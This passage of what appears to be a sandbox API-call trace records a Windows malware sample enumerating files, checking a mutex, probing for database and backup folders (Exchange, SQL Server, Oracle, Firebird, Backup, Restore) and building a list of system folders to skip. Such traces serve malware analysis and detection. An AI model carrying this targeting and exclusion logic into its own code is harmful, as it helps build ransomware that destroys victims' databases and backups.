(hMem=0x440004) returned 0x554190 [0047.092] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.092] GlobalUnlock (hMem=0x44000c) returned 0 [0047.092] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.092] GlobalUnlock (hMem=0x440004) returned 0 [0047.092] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.092] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.092] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.092] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.092] GlobalLock (hMem=0x440004) returned 0x552180 [0047.092] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.092] GlobalUnlock (hMem=0x440004) returned 0 [0047.092] GlobalLock (hMem=0x440004) returned 0x552180 [0047.092] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.092] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.092] GlobalUnlock (hMem=0x440004) returned 0 [0047.093] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.093] GlobalUnlock (hMem=0x44000c) returned 0 [0047.093] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.093] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.093] GetLastError () returned 0x12 [0047.093] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.093] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0047.093] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.093] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.093] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.093] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.093] GlobalUnlock (hMem=0x44000c) returned 0 [0047.093] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.093] GlobalLock (hMem=0x440004) returned 0x553188 [0047.093] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.093] GlobalUnlock (hMem=0x44000c) returned 0 [0047.093] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.093] GlobalUnlock (hMem=0x440004) returned 0 [0047.093] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.093] GlobalLock (hMem=0x440004) returned 0x551178 [0047.093] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.093] GlobalUnlock (hMem=0x440004) returned 0 [0047.094] GlobalLock (hMem=0x440004) returned 0x551178 [0047.094] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.094] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.094] GlobalUnlock (hMem=0x440004) returned 0 [0047.094] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.094] GlobalUnlock (hMem=0x44000c) returned 0 [0047.094] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.094] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV") returned 1 [0047.094] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.094] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.094] GlobalUnlock (hMem=0x44000c) returned 0 [0047.094] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.094] GlobalLock (hMem=0x440004) returned 0x553188 [0047.094] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.094] GlobalUnlock (hMem=0x44000c) returned 0 [0047.094] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.094] GlobalUnlock (hMem=0x440004) returned 0 [0047.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0047.094] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@◺R◎R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0047.094] GetLastError () returned 0x3 [0047.094] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0047.095] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0047.095] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18권Q\x181")) returned 0xffffffff [0047.097] GetLastError () returned 0x2 [0047.098] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.098] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0047.098] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.098] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@❌R企@\x18?T\x18;")) returned 0xffffffff [0047.098] GetLastError () returned 0x2 [0047.098] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.098] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0047.098] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0047.098] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@⎌R企@\x18?T\x18D")) returned 0xffffffff [0047.099] GetLastError () returned 0x2 [0047.099] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0047.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0047.099] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18❌R\x18j")) returned 0xffffffff [0047.099] GetLastError () returned 0x2 [0047.099] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0047.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.100] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@⎌R企@\x18?T\x18q")) returned 0xffffffff [0047.100] GetLastError () returned 0x2 [0047.100] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\❈RP") returned 6 [0047.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.100] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@♔R企@\x18?T\x18y")) returned 0xffffffff [0047.100] GetLastError () returned 0x2 [0047.100] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0047.101] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18?T\x18\x81")) returned 0xffffffff [0047.101] GetLastError () returned 0x2 [0047.101] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0047.101] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@⎌R企@\x18?T\x18\x88")) returned 0xffffffff [0047.101] GetLastError () returned 0x2 [0047.101] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0047.101] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@♔R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.101] GetLastError () returned 0x2 [0047.101] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0047.101] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⡄R䱠@╜R企@\x18?T\x18\x97")) returned 0xffffffff [0047.102] GetLastError () returned 0x2 [0047.102] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0047.102] GlobalLock (hMem=0x440004) returned 0x551178 [0047.102] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.102] GlobalUnlock (hMem=0x440004) returned 0 [0047.102] GlobalLock (hMem=0x440004) returned 0x551178 [0047.102] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.102] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.102] GlobalUnlock (hMem=0x440004) returned 0 [0047.102] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.102] GlobalUnlock (hMem=0x44000c) returned 0 [0047.102] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.102] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.102] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.102] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.102] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.102] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.102] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.102] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.102] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.102] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.102] GlobalUnlock (hMem=0x44000c) returned 0 [0047.102] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.103] GlobalLock (hMem=0x440004) returned 0x553188 [0047.103] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.103] GlobalUnlock (hMem=0x44000c) returned 0 [0047.103] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.103] GlobalUnlock (hMem=0x440004) returned 0 [0047.103] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.103] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.103] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.103] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0047.103] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0047.103] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0047.103] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft 